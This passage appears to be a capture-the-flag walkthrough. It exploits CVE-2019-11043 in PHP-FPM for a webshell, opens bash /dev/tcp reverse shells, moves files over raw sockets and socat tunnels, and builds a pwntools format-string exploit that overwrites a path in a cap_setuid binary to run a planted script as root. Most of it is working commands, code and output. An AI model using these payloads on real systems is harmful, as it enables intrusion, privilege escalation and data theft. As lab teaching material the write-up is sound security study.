PHP-FPM is the FastCGI Process Manager for PHP. CGI (or Common Gateway Interface) is a specification for allowing web servers to execute an external program. As I already saw when visiting pki, it’s running some kind of program to generate a VPN config, so CGI makes sense here.
Googling for “PHP-FPM 7.1 exploit” returns a lot of results about CVE-2019-11043. This blog post from TrendMicro does a nice job explaining the vulnerability. It’s a vulnerability in how NGINX interacts with PHP-FPM. In a typical NGINX config, there’s going to be a line like:
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
The attack involves putting a %0a
(url-encoded newline) into the path so that NGINX will set the env_path_info
variable to empty. PHP-FPM assumes that this will never be empty. By passing in a roughly 2000 byte URI, the attacker can make path_info
, and manage to overwrite variables in memory to generate a persistent webshell.
POC
Googling “CVE-2019-11043 python” found this GitHub repo with a POC. Because this generates a ton of connections, I opted for a direct connection rather than a SOCKs:
oxdf@parrot$ ssh -i ~/keys/static-www-data-172.20.0.10 www-data@172.20.0.10 -L 9001:192.168.254.3:80
...[snip]...
Running the exploit takes a minute or two, as it’s trying different length requests to find the right overwrite in memory. Eventually, it finds it, and reports that a webshell is now in memory:
oxdf@parrot$ python3 /opt/CVE-2019-11043/exploit.py --url http://127.0.0.1:9001/index.php
[*] QSL candidate: 1754, 1759, 1764
[*] Target seems vulnerable (QSL:1754/HVL:219): PHPSESSID=f73b39e0eda602d14224e4095b436f6c; path=/
[*] RCE successfully exploited!
You should be able to run commands using:
curl http://127.0.0.1:9001/index.php?a=bin/ls+/
Hitting the webshell returns a bunch of errors, but then the output of the command:
oxdf@parrot$ curl http://127.0.0.1:9001/index.php?a=/bin/ls+/
[05-Aug-2021 00:43:52 UTC] PHP Warning: Unknown: failed to open stream: No such file or directory in Unknown on line 0
[05-Aug-2021 00:43:52 UTC] PHP Fatal error: Unknown: Failed opening required 'a' (include_path='/tmp') in Unknown on line 0
[05-Aug-2021 00:43:53 UTC] PHP Warning: Unknown: failed to open stream: No such file or directory in Unknown on line 0
[05-Aug-2021 00:43:54 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /tmp/a:1) in /var/www/html/index.php on line 2
...[snip]...
[05-Aug-2021 00:44:14 UTC] PHP Warning: Unknown: Unable to load dynamic library 'bin
boot
dev
entry.sh
etc
home
lib
lib64
media
mnt
opt
php-src
proc
root
run
sbin
srv
sys
tmp
usr
var
' - bin
boot
dev
entry.sh
etc
home
lib
lib64
media
mnt
opt
php-src
proc
root
run
sbin
srv
sys
tmp
usr
var
: cannot open shared object file: No such file or directory in Unknown on line 0
[05-Aug-2021 00:44:14 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /tmp/a:1) in /var/www/html/index.php on line 2
[05-Aug-2021 00:44:36 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /tmp/a:1) in /var/www/html/index.php on line 2
[05-Aug-2021 00:44:47 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /tmp/a:1) in /var/www/html/index.php on line 2
Warning: Cannot modify header information - headers already sent by (output started at /tmp/a:1) in /var/www/html/index.php on line 2
batch mode: /usr/bin/ersatool create|print|revoke CN
This webshell was very unstable. Sometimes I had to refresh the page five or six times to see a result. I also tried a version of the exploit written in Go that gave better information about what was going on. I got the binary with go get github.com/neex/phuip-fpizdam
, and then ran it:
oxdf@parrot$ ~/go/bin/phuip-fpizdam http://127.0.0.1:9001/index.php
2021/08/05 08:01:05 Base status code is 200
2021/08/05 08:01:07 Status code 502 for qsl=1765, adding as a candidate
2021/08/05 08:01:07 The target is probably vulnerable. Possible QSLs: [1755 1760 1765]
2021/08/05 08:01:09 Attack params found: --qsl 1755 --pisos 38 --skip-detect
2021/08/05 08:01:09 Trying to set "session.auto_start=0"...
2021/08/05 08:01:10 Detect() returned attack params: --qsl 1755 --pisos 38 --skip-detect <-- REMEMBER THIS
2021/08/05 08:01:10 Performing attack using php.ini settings...
2021/08/05 08:01:11 Success! Was able to execute a command by appending "?a=/bin/sh+-c+'which+which'&" to URLs
2021/08/05 08:01:11 Trying to cleanup /tmp/a...
2021/08/05 08:01:11 Done!
Typically I like to move to curl
once I get a webshell working, but here I’ll use Firefox as it allows me to just Ctrl-Shift-R quickly to run until I see results.
Connectivity
I tried to get pki to ping both my tun0 address (10.10.14.19) and and my tun9 address (172.30.0.9). Neither reached my host. It seems that pki can’t connect back.
I can ping web:
Perhaps there is an outbound firewall rule blocking certain connections.
Looking for Tools on pki
To figure out how to create a reverse shell, I need to know what tools on are pki. Because which
returns nothing if the tool isn’t found in the current path, I’ll use the command which [command] || echo "not found"
, so that I can refresh quickly until I see a path or “not found”. I’ll start with id
since that should be on the box, and it is:
curl
is not:
wget
, nc
, and python
are not either. bash
is at /bin/bash
. python3
and perl
are both present as well.
Shell
web doesn’t have nc
. I’ll grab a statically compiled copy from here, and scp
it to web:
oxdf@parrot$ scp -i ~/keys/static-www-data-172.20.0.10 ncat www-data@172.20.0.10:/tmp/nc
ncat 100% 2846KB 3.8MB/s 00:00
I can’t listen on 443 as a non-root user, so I’ll pick a high port:
www-data@web:~$ /tmp/nc -lnvp 4433
Ncat: Version 6.49BETA1 ( http://nmap.org/ncat )
Ncat: Listening on :::4433
Ncat: Listening on 0.0.0.0:4433
I’ll first try a Bash reverse shell (with the &
encoded as %26
to not confuse the web request):
http://127.0.0.1:9001/index.php?a=bash -c 'bash -i >%26 /dev/tcp/192.168.254.2/4433 0>%261'
After a few refreshes, it connected back:
www-data@web:~$ /tmp/nc -lnvp 4433
Ncat: Version 6.49BETA1 ( http://nmap.org/ncat )
Ncat: Listening on :::4433
Ncat: Listening on 0.0.0.0:4433
Ncat: Connection from 192.168.254.3.
Ncat: Connection from 192.168.254.3:39820.
bash: cannot set terminal process group (14): Inappropriate ioctl for device
bash: no job control in this shell
www-data@pki:~/html$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Even though it’s running on web, the normal PTY trick works:
www-data@pki:~/html$ python3 -c 'import pty;pty.spawn("bash")'
python3 -c 'import pty;pty.spawn("bash")'
www-data@pki:~/html$ ^Z
[1]+ Stopped /tmp/nc -lnvp 4433
www-data@web:~$ stty raw -echo; fg
/tmp/nc -lnvp 4433
reset
reset: unknown terminal type unknown
Terminal type? screen
www-data@pki:~/html$
Shell as root
Enumeration
Looking at the webpage, it’s super simple:
<?php
header('X-Powered-By: PHP-FPM/7.1');
//cn needs to be parsed!!!
$cn=preg_replace("/[^A-Za-z0-9 ]/", '',$_GET['cn']);
echo passthru("/usr/bin/ersatool create ".$cn);
?>
It scrubs the input of all characters that aren’t letters, numbers or space, and runs /usr/bin/erasatool create $cn
, printing the results.
That binary doesn’t look special at first glance:
www-data@pki:~/html$ ls -l /usr/bin/ersatool
-rwxr-xr-x 1 root root 22496 Jun 21 17:05 /usr/bin/ersatool
There’s also a ersatool.c
file in /usr/src
that is likely the source for the application.
www-data@pki:~/html$ ls /usr/src/
ersatool.c
Looking through the source, there are two places where it calls setuid
. For example, in the filePrint
function:
void filePrint(char *filename){
int bfsiz=1;
char buffer[bfsiz];
int fd;
ssize_t fr;
memset(buffer,0,bfsiz);
setuid(0); //escalating privileges to read root owned files
if((fd=open(filename,O_RDONLY))<0){
printf("[!] ERR reading %s!\n",filename);
}
while(fr=read(fd,buffer,bfsiz)>0){
printf("%s",buffer);
memset(buffer,0,bfsiz);
}
close(fd);
fflush(stdout);
}
That raises a question - how can it make that call? It would need to be running as root, or somehow be given that capability. I already looked, and while the file is owned by root, it isn’t SUID. It is being called by NGINX, but that process is running as www-data, as evidenced by my current shell, as well as the process list:
www-data@pki:~/html$ ps auxww
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.0 4628 856 ? Ss 11:40 0:00 /bin/sh -c /entry.sh
root 9 0.0 0.0 18376 3056 ? S 11:40 0:00 /bin/bash /entry.sh
root 11 0.0 0.0 141120 1572 ? Ss 11:40 0:00 nginx: master process nginx
www-data 12 0.0 0.1 141776 5076 ? S 11:40 0:02 nginx: worker process
www-data 13 0.0 0.0 141440 3480 ? S 11:40 0:00 nginx: worker process
root 14 0.0 0.3 84952 12824 ? Ss 11:40 0:00 php-fpm: master process (/usr/local/etc/php-fpm.conf)
www-data 15 0.0 0.2 85216 9384 ? S 11:40 0:01 php-fpm: pool www
www-data 19 0.0 0.2 85216 9388 ? S 11:40 0:01 php-fpm: pool www
www-data 128 0.0 0.2 85224 10080 ? S 12:04 0:02 php-fpm: pool www
www-data 636 0.0 0.2 85220 9512 ? S 12:05 0:01 php-fpm: pool www
www-data 11226 0.0 0.2 85220 9512 ? S 12:07 0:00 php-fpm: pool www
www-data 14776 0.0 0.0 4628 860 ? S 12:22 0:00 sh -c bash -c 'bash -i >& /dev/tcp/192.168.254.2/4433 0>&1'
www-data 14777 0.0 0.0 18376 3112 ? S 12:22 0:00 bash -c bash -i >& /dev/tcp/192.168.254.2/4433 0>&1
www-data 14778 0.0 0.0 18508 3472 ? S 12:22 0:00 bash -i
www-data 14782 0.0 0.2 36668 8608 ? R 12:25 0:00 python3 -c import pty;pty.spawn("bash")
www-data 14783 0.0 0.0 18508 3440 pts/0 Ss 12:25 0:00 bash
www-data 14914 0.0 0.0 34404 2948 pts/0 R+ 13:18 0:00 ps auxww
It could be running on a cron periodically, but then it would still fail when the webapp calls it. The binary has the setuid
capability:
www-data@pki:~$ getcap /usr/bin/ersatool
/usr/bin/ersatool = cap_setuid+eip
So if there’s some way to exploit this binary and get it to run code, I can get root in this container.
Exfil
To look at the binary, I need to get a copy back to my VM. One option would be to base64 encode it and then just copy and paste it. Alternatively, I can send it to web, and then scp
back to my host. I’ll start nc
listening on web, pipe the file into /dev/tcp
on pki:
www-data@pki:~$ cat /usr/src/ersatool.c > /dev/tcp/192.168.254.2/4444
It arrives at web:
www-data@web:~$ /tmp/nc -lnvp 4444 > /tmp/0xdf
Ncat: Version 6.49BETA1 ( http://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 192.168.254.3.
Ncat: Connection from 192.168.254.3:45386.
Now I’ll pull that to my host:
oxdf@parrot$ scp -i ~/keys/static-www-data-172.20.0.10 www-data@172.20.0.10:/tmp/0xdf ersatool.c
0xdf 100% 5729 272.0KB/s 00:00
I’ll do the same with ersatool
, and then check the hashes on both:
www-data@pki:~$ md5sum /usr/bin/ersatool /usr/src/ersatool.c
9ac82feda66338eafaf2dc6e1d602131 /usr/bin/ersatool
d258f3c0bf1945e43314617de8f83dd1 /usr/src/ersatool.c
oxdf@parrot$ md5sum ersatool*
9ac82feda66338eafaf2dc6e1d602131 ersatool
d258f3c0bf1945e43314617de8f83dd1 ersatool.c
Format String Exploit
Background
I always recommend the three part video series by LiveOverflow on format strings as a good place to get started (1, 2, and 3). I also went a bit into this in Rope.
A format string vulnerability occurs when a program calls a function like printf
on just a variable. The idea is that the first argument for printf
will be a format string, containing 0 or more “specifiers” (described here). So you might see something like printf("hello %s", name)
used to print a user’s name. If just a variable is passed, while the intention is to just print the variable, the result is that the variable is processed just like the static string above. Furthermore, if the given string has more specifiers than are giving, it will just continue reading them memory from the stack where they would have been had they been passed. This kind of mismatch isn’t typically coded in, but if there’s a call to printf(variable)
, then the string in variable
is treated as the formatting string, which means I can leak memory.
There’s also a specifier, %n
, that doesn’t read, but writes the number of bytes printed up to this point in the string to the address passed in. That means if I can reference something I pass in, I can arbitrarily write memory.
Protections
Unsurprisingly, the box has ASLR enabled:
www-data@pki:~$ cat /proc/sys/kernel/randomize_va_space
2
The binary is running with some protections:
oxdf@parrot$ checksec ersatool
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
NX
means I can’t write to the stack and then execute from it, and PIE
means that the addresses of not just the libraries but also the main program will be moving in memory, and that I’ll need a address leak in order to meaningfully interact with memory.
Identify Format String Vuln
The first thing that jumped out at me looking at the code was this line in printCN
:
printf(buffer); //checking buffer content
That’s calling printf
on a buffer without a format string. If that buffer is user controlled, then it can be used to leak and write memory.
I’ll use %p
to print 64-bit pointers, with 016
to zero-pad the results and a .
to create spacing:
oxdf@parrot$ ./ersatool print %016p.%016p.%016p.%016p.%016p.%016p.%016p.%016p.%016p.%016p
0x0056378a09d15f.0x00000000000005.0x000000006e7076.0x00000000000014.0x007ffcfbb9fed0. (nil).0x007ffcfbba21b2.0x30252e7036313025.0x363130252e703631.0x2e70363130252e70[!] ERR reading /opt/easyrsa/clients/%016p.%016p.%016p.%016p.%016p.%016p.%016p.%016p.%016p.%016p.ovpn!
oxdf@parrot$ ./ersatool print %016p.%016p.%016p.%016p.%016p.%016p.%016p.%016p.%016p.%016p
0x005577868eb15f.0x00000000000005.0x000000006e7076.0x00000000000014.0x007ffd447d6170. (nil).0x007ffd447d81b2.0x30252e7036313025.0x363130252e703631.0x2e70363130252e70[!] ERR reading /opt/easyrsa/clients/%016p.%016p.%016p.%016p.%016p.%016p.%016p.%016p.%016p.%016p.ovpn!
oxdf@parrot$ ./ersatool print %016p.%016p.%016p.%016p.%016p.%016p.%016p.%016p.%016p.%016p
0x00563ff8e7a15f.0x00000000000005.0x000000006e7076.0x00000000000014.0x007fffbd26ca20. (nil).0x007fffbd26e1b2.0x30252e7036313025.0x363130252e703631.0x2e70363130252e70[!] ERR reading /opt/easyrsa/clients/%016p.%016p.%016p.%016p.%016p.%016p.%016p.%016p.%016p.%016p.ovpn!
There’s a few things that jump out here:
- By running it a couple times, I can tell which memory addresses are impacted by ASLR/PIE and which are not. For example, in the first words, the low three characters (nibbles) and high three nibbles are staying constant, but the rest is changing. The fifth word is keeping the high five and lowest nibbles constant, and changing the rest. If I had to guess, the fifth is a stack address, and the first is some kind of global.
- The eighth word contains my input, 0x25 (
%
), 0x30 (0
), 0x31 (1
), 0x36 (6
), 0x70 (p
), 0x2e (.
), etc. This makes sense, as the format string is on the stack as well.
Identify Pointers
If I can identify a constant distance in memory between one of these pointers and something I want to write to, I can use this leak to calculate that address, and then I’ll have a file write.
I’ll open gdb
with gdb ersatool
, and look at the printCN
function with disassemble printCN
. In the source, around the print, it does a bunch of strncpy
, strncat
, strlen
calls just before the printf
, and then a call to filePrint
:
47 strncpy(fn, OUTPUT_DIR,sizeof(fn));
48 strncat(fn, "/",sizeof(fn)-strlen(fn));
49 strncat(fn, strtok(basename(buffer),"\n"),sizeof(fn)-strlen(fn));
50 strncat(fn, EXT, sizeof(fn)-strlen(fn));
51 printf(buffer); //checking buffer content
52 filePrint(fn);
The vulnerable printf
must be 396 bytes into the function:
0x0000000000001406 <+337>: call 0x10e0 <strncat@plt>
0x000000000000140b <+342>: lea rax,[rbp-0x80]
0x000000000000140f <+346>: mov rdi,rax
0x0000000000001412 <+349>: call 0x1070 <strlen@plt>
0x0000000000001417 <+354>: mov edx,0x64
0x000000000000141c <+359>: sub rdx,rax
0x000000000000141f <+362>: lea rax,[rbp-0x80]
0x0000000000001423 <+366>: lea rsi,[rip+0x3d35] # 0x515f <EXT>
0x000000000000142a <+373>: mov rdi,rax
0x000000000000142d <+376>: call 0x10e0 <strncat@plt>
0x0000000000001432 <+381>: lea rax,[rbp-0xf0]
0x0000000000001439 <+388>: mov rdi,rax
0x000000000000143c <+391>: mov eax,0x0
0x0000000000001441 <+396>: call 0x10b0 <printf@plt>
0x0000000000001446 <+401>: lea rax,[rbp-0x80]
0x000000000000144a <+405>: mov rdi,rax
0x000000000000144d <+408>: call 0x14e3 <filePrint>
0x0000000000001452 <+413>: cmp DWORD PTR [rbp-0xfc],0x1
0x0000000000001459 <+420>: jne 0x14ad <printCN+504>
I’ll add a break a couple instructions later and run it:
gdb-peda$ b *printCN+401
Breakpoint 1 at 0x1446
gdb-peda$ r print %016p.%016p.%016p.%016p.%016p.%016p.%016p.%016p.%016p.%016p
It hits the break point just after printing the results:
0x0055555555915f.0x00000000000005.0x000000006e7076.0x00000000000014.0x007fffffffdbf0. (nil).0x007fffffffe154.0x30252e7036313025.0x363130252e703631.0x2e70363130252e70[!] ERR reading /opt/easyrsa/clients/%016p.%016p.%016p.%016p.%016p.%016p.%016p.%016p.%016p.%016p.ovpn!
...[snip]...
Breakpoint 1, 0x0000555555555452 in printCN ()
gdb-peda$
I can examine what’s in memory at some of these addresses:
gdb-peda$ x/s 0x0055555555915f
0x55555555915f <EXT>: ".ovpn"
gdb-peda$ x/s 0x007fffffffdbf0
0x7fffffffdbf0: "/opt/easyrsa/clients/%016p.%016p.%016p.%016p.%016p.%016p.%016p.%016p.%016p.%016p.ovpn"
gdb-peda$ x/s 0x007fffffffe154
0x7fffffffe154: "%016p.%016p.%016p.%016p.%016p.%016p.%016p.%016p.%016p.%016p"
The first word is the pointer to the string “.ovpn”. gdb
is nice enough to tell me it’s the EXT
variable, which is a global variable defined here in the source:
12 //easyrsa configuration
13 char ERSA_DIR[]="/opt/easyrsa";
14 char TA_KEY[]="/opt/easyrsa/clients/ta.key";
15 char OUTPUT_DIR[]="/opt/easyrsa/clients";
16 char BASE_CONFIG[]="/opt/easyrsa/clients/base.conf";
17 char EXT[]=".ovpn";
gdb
will let me print it by variable name as well:
gdb-peda$ x/s &EXT
0x55555555915f <EXT>: ".ovpn"
The other variables in this block sit right before it:
gdb-peda$ x/s &BASE_CONFIG
0x555555559140 <BASE_CONFIG>: "/opt/easyrsa/clients/base.conf"
So I will know the address of all of these constants.
The next variable I looked at was 0x7fffffffdbf0. The resulting string is what’s generated here:
47 strncpy(fn, OUTPUT_DIR,sizeof(fn));
48 strncat(fn, "/",sizeof(fn)-strlen(fn));
49 strncat(fn, strtok(basename(buffer),"\n"),sizeof(fn)-strlen(fn));
50 strncat(fn, EXT, sizeof(fn)-strlen(fn));
So I’m looking at fn
. Because fn
is defined at the top of this function, it will live on the stack. So I can confidently leak stack addresses as well.
The third address, 0x007fffffffe154, is another string on the stack.
Target
At this point, I’ve found a way to break past ASLR and PIE and orient in memory. I also know that with a format string vuln I can write to specific addresses. So what do I want to overwrite. The generic case is to go for a return address and then jump back to a ROP chain on the stack, or a function in the GOT table where I can then pass my input to system
. But there’s an issue with that - I need to do it after setuid(0)
is called.
Luckily for me, there’s an attackable system
call just after one of the seduid
calls in createCN
:
114 char *a[] = {EASYRSA,"build-client-full",strtok(basename(buffer),"\n"),"nopass","batch"};
115 //forge the command string
116 cleanStr(a[2]);
117 sprintf(CMD,"%s %s %.20s %s %s",a[0],a[1],a[2],a[3],a[4]);
118 sout=dup(STDOUT_FILENO);
119 serr=dup(STDERR_FILENO);
120 devNull=open("/dev/null",O_WRONLY);
121 dup2(devNull,STDOUT_FILENO);
122 dup2(devNull,STDERR_FILENO);
123 setuid(0); //escalating privilges to generate required files
124 chdir(ERSA_DIR);
125 system(CMD);
126 exit(0);
CMD
is passed to system
on line 125, just after setuid(0)
on 123. CMD
is defined by the sprintf
call on 117, where the first argument is EASYRSA
. EASYRSA
is a local variable for this function, and it’s set at the top of the function:
94 memset(EASYRSA,0,sizeof(EASYRSA));
95 strcat(EASYRSA,ERSA_DIR);
96 strcat(EASYRSA,"/easyrsa");
Basically it’s the global ERSA_DIR
+ “/easyrsa”. This means that if I can overwrite the ERSA_DIR
variable with a different path that I can write to, I can drop a Bash script named easyrsa
to that dir and it will be run as root.
I will need to switch to running the tool in interactive mode, with no arguments, so that I can overwrite the memory with the printCN
call, and then trigger it with createCN
.
Script Leak
I want to leak the address of ERSA_DIR
, which means I need to know the offset from ETX
. In gdb
I can print both addresses:
gdb-peda$ x/s &EXT
0x55555555915f <EXT>: ".ovpn"
gdb-peda$ x/s &ERSA_DIR
0x5555555590f0 <ERSA_DIR>: "/opt/easyrsa"
Or I can just print the difference:
gdb-peda$ p &EXT - &ERSA_DIR
warning: Type size unknown, assuming 1. Try casting to a known type, or void *.
$9 = 0x6f
I’ll start a script that will handle using the format vuln to leak the address of ERSA_DIR
:
#!/usr/bin/env python3
from pwn import *
p = process('./ersatool')
p.recv(64) # read # prompt
p.sendline(b"print") # enter print menu
p.recvuntil(b"CN=") # read up to CN= prompt
p.sendline(b"%016p") # get first pointer from the stack
leak = p.recv(1024)
ext_addr = int(leak.split(b'[')[0], 16)
ersa_dir_addr = ext_addr - 0x6f
log.success(f'Leaked EXT address: 0x{ext_addr:016x}')
log.success(f'Calculated ERSA_DIR address: 0x{ersa_dir_addr:016x}')
p.interactive()
I have the p.interactive()
at the end so that the process doesn’t die, and I can connect gdb
to it and verify the results. When I run, it prints what looks like a good leak:
oxdf@parrot$ python3 root.py
[+] Starting local process './ersatool': pid 540189
[+] Leaked EXT address: 0x00005648ade1615f
[+] Calculated ERSA_DIR address: 0x00005648ade160f0
[*] Switching to interactive mode
$
Running sudo gdb -p $(pidof ersatool)
will attach gdb
to that pid, and it worked:
gdb-peda$ p &ERSA_DIR
$1 = (<data variable, no debug info> *) 0x5648ade160f0 <ERSA_DIR>
POC Write Memory
The next thing I need to do is write memory to a known address. With all of the other specifiers, they read a value or a string and put it into the string. %n
is different. It takes an address, and writes to that address the number of bytes output so far.
I want the %n
to read the address of ERSA_DIR
, so I’ll exploit the format string vuln again, this time with that address on the stack in a place I can reference it. I already noted it above, but it’s more clear with AAAAAAAA%016p.%016p.%016p.%016p.%016p.%016p.%016p.%016p
as input:
print->CN=AAAAAAAA%016p.%016p.%016p.%016p.%016p.%016p.%016p.%016p.
AAAAAAAA0x005602a095415f.0x00000000000005.0x000000006e7076.0x00000000000017.0x007ffee58fbb10.0x000001a09501d0. (nil).0x4141414141414141.[!] ERR reading /opt/easyrsa/clients/AAAAAAAA%016p.%016p.%016p.%016p.%016p.%016p.%016p.%016p..ovpn!
The eighth word has all 0x41, which is “A”. I can reference the eighth word by %8$p
:
print->CN=AAAAAAAA%8$p
AAAAAAAA0x4141414141414141[!] ERR reading /opt/easyrsa/clients/AAAAAAAA%8$p.ovpn!
That replaces %8$p
with the eighth argument on the stack, which happens to be the string of As.
The next logical step would be to replace the eight As with the address of ERSA_DIR
and try to print that back, but it didn’t work. That’s because the first couple bytes in the address of ERSA_DIR
are null, and thus they terminate the string. The format string is defined as a “character string”, and it’s undefined how to handle null bytes, but it makes sense that when it hits these null bytes the string is treated as complete (since null bytes mark the end of a string).
To get around this, I’ll put the address at the end of the string. I want this address to be at a fixed point relative to my input, even if my input changes, so I’ll create a fixed length of space for various format strings, and then put the address, and try to print it. After some playing around, I found that with 64 bytes for format string and then the address, the address was the 16th argument:
print->CN=%16$016pAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB
0x4242424242424242AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB[!] ERR reading /opt/easyrsa/clients/%16$016pAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB.ovpn!
This gives me a lot of space to change the start of the payload, and as long as I adjust the padding, the address (right now BBBBBBBB
) will stay in the same place. I can use this template, replacing the As with other specifiers as needed, and leave the address at that offset, and now know how to reference it.
I’ll add this line before the last p.interactive()
line in my script:
p.sendline("%16$20p".ljust(64, '.').encode() + p64(ersa_dir_addr))
It works:
oxdf@parrot$ python3 root.py
[+] Starting local process './ersatool': pid 543293
[+] Leaked EXT address: 0x0000558319fe215f
[+] Calculated ERSA_DIR address: 0x0000558319fe20f0
[*] Switching to interactive mode
0x558319fe20f0.........................................................\xf0 \xfe\x83U[!] ERR reading /opt/easyrsa/clients/%16$20p.........................................................\xf0 \xfe\x83U.ovpn!
print->CN=$
The output line has a 20 character address padded with spaces followed by periods as filler until it reaches the address I passed in, stopping a the null bytes.
I’ll change the line a bit now:
p.sendline("%16$20p%16$n".ljust(64, '.').encode() + p64(ersa_dir_addr))
Running this prints the same thing:
oxdf@parrot$ python3 root.py
[+] Starting local process './ersatool': pid 545730
[+] Leaked EXT address: 0x00005640f813e15f
[+] Calculated ERSA_DIR address: 0x00005640f813e0f0
[*] Switching to interactive mode
0x5640f813e0f0....................................................\xf0\xe0\xf8@V[!] ERR reading /opt/easyrsa/clients/%16$20p%16$n....................................................\xf0\xe0\xf8@V.ovpn!
print->CN=$
If I attach gdb
again (sudo gdb -p $(pidof ersatool)
), I can see that the value of ERSA_DIR
has changed (printed both as hex word and a string):
gdb-peda$ x/xg &ERSA_DIR
0x5640f813e0f0 <ERSA_DIR>: 0x7361652f00000014
gdb-peda$ x/s &ERSA_DIR
0x5640f813e0f0 <ERSA_DIR>: "\024"
The low 32-bit word has been overwritten with the value 0x14, which is 20, the number of bytes written before it reached the %n
specifier. If I want a /
, I need 47 instead of 20, which I can just change in the padding:
p.sendline("%16$47p%16$n".ljust(64, '.').encode() + p64(ersa_dir_addr))
Running again and then attaching gdb
:
gdb-peda$ x/s &ERSA_DIR
0x55a4ded870f0 <ERSA_DIR>: "/"
gdb-peda$ x/xg &ERSA_DIR
0x55a4ded870f0 <ERSA_DIR>: 0x7361652f0000002f
Write Path
Having shown I can write memory, I want to overwrite ERSA_DIR
with /dev/shm
, so I can drop my script in there and have it run.
Format | Value |
---|---|
String | /dev/shm |
Hex | 0x2f6465762f73686d |
Little Endian | 0x6d68732f7665642f |
Integer | 7883677795399066671 |
I just need to write 7,883,677,795,399,066,671 bytes before the %n
. Clearly that isn’t going to work. But I can write it one byte at a time. In many format string attacks, this is done by alternating %p
(or %x
) and %n
specifiers in the same string, with multiple addresses on in the payload to reference. But here, since I can take multiple hits at the format string vuln in the same process memory, I’ll just send a print request for each character I want to write.
I could do something like:
p.sendline("%16$47p%16$n".ljust(64, '.').encode() + p64(ersa_dir_addr))
p.sendline("%16$100p%16$n".ljust(64, '.').encode() + p64(ersa_dir_addr+1))
p.sendline("%16$101p%16$n".ljust(64, '.').encode() + p64(ersa_dir_addr+2))
p.sendline("%16$118p%16$n".ljust(64, '.').encode() + p64(ersa_dir_addr+3))
p.sendline("%16$47p%16$n".ljust(64, '.').encode() + p64(ersa_dir_addr+4))
p.sendline("%16$115p%16$n".ljust(64, '.').encode() + p64(ersa_dir_addr+5))
p.sendline("%16$104p%16$n".ljust(64, '.').encode() + p64(ersa_dir_addr+6))
p.sendline("%16$109p%16$n".ljust(64, '.').encode() + p64(ersa_dir_addr+7))
In fact, that works. But cleaner would be to make a loop:
for i,c in enumerate("/dev/shm"):
p.sendline(f"%16${ord(c)}p%16$n".ljust(64, '.').encode() + p64(ersa_dir_addr+i))
p.recvuntil(b"\n\n")
The recvuntil
just clears out all the junk responses I don’t need (otherwise all the cached incoming data will dump when interactive
is called). Running it presents a prompt:
oxdf@parrot$ python3 root.py
[+] Starting local process './ersatool': pid 547061
[+] Leaked EXT address: 0x000055713e5aa15f
[+] Calculated ERSA_DIR address: 0x000055713e5aa0f0
[*] Switching to interactive mode
print->CN=$
And gdb
shows the path overwritten:
gdb-peda$ x/s &ERSA_DIR
0x55713e5aa0f0 <ERSA_DIR>: "/dev/shm"
Finish Script
Now that I’ve overwritten the folder, I’ll just need to call create
with any input to get the program to call /dev/shm/easyrsa
. That’s a few more lines:
p.sendline() # return to main menu
p.recvuntil(b"#") # get prompt
p.sendline(b"create") # enter create menu
p.recvuntil(b"CN=") # get prompt
p.sendline(b"0xdf") # send anything
p.recv(4096) # recv all sent error messages
Interestingly, if I don’t have a final p.recv
at the end, it will just exit before the create
method runs, and I don’t get execution. Just waiting for a response is enough to keep the program open. I removed the interactive
call.
I’ll also need a script at /dev/shm/easyrsa
:
#!/bin/bash
ping -c 2 127.0.0.1
It needs to be executable as well:
oxdf@parrot$ chmod +x /dev/shm/easyrsa
Now I’ll start tcpdump
and run the script:
oxdf@parrot$ sudo tcpdump -i lo icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on lo, link-type EN10MB (Ethernet), snapshot length 262144 bytes
11:30:46.818608 IP localhost > localhost: ICMP echo request, id 13015, seq 1, length 64
11:30:46.818616 IP localhost > localhost: ICMP echo reply, id 13015, seq 1, length 64
11:30:47.867404 IP localhost > localhost: ICMP echo request, id 13015, seq 2, length 64
11:30:47.867417 IP localhost > localhost: ICMP echo reply, id 13015, seq 2, length 64
That’s command execution.
Remote Exploitation
To make this work remotely, I’ll need to interact with the binary. PwnTools isn’t on the container, so I’ll create tunnels so that my host can interact with the binary. I’ll use socat
to both tunne from web to pki, and to host ersatool
on pki:
On pki, I’ll drop a simple Bash script into /dev/shm
to create a reverse shell back to web:
www-data@pki:/dev/shm$ echo -e '#!/bin/bash\n\nbash -i >& /dev/tcp/192.168.254.2/4433 0>&1'
#!/bin/bash
bash -i >& /dev/tcp/192.168.254.2/4433 0>&1
www-data@pki:/dev/shm$ echo -e '#!/bin/bash\n\nbash -i >& /dev/tcp/192.168.254.2/4433 0>&1' > easyrsa
www-data@pki:/dev/shm$ chmod +x easyrsa
I’ll upload socat
to web (using Python webserver). I need a good way to get it to pki. I wrote a short Python script:
#!/usr/bin/env python3
import socket
s = socket.socket()
s.connect(('192.168.254.2', 4433))
with open('/tmp/socat', 'wb') as f:
data = s.recv(1024)
while data:
f.write(data)
data = s.recv(1024)
s.close()
On web I ran /tmp/nc -lnvp 4433 < socat
. Then I ran that script, and it go socat
(and the MD5s matched).
On pki:
www-data@pki:/tmp$ ./socat TCP-LISTEN:9001,reuseaddr,fork EXEC:ersatool
On web:
www-data@web:/tmp$ ./socat tcp-listen:9001,reuseaddr,fork tcp:pki:9001
Now from my host, I can connect to the running binary:
oxdf@parrot$ nc 172.20.0.10 9001
# print
print->CN=0xdf
0xdf[!] ERR reading /opt/easyrsa/clients/0xdf.ovpn!
print->CN=
At the top of the script, I’ll add:
if args['REMOTE']:
p = remote('172.20.0.10', 9001)
else:
p = process('./ersatool')
With PwnTools, now if I add REMOTE
as an arg, it will go remote, and otherwise local.
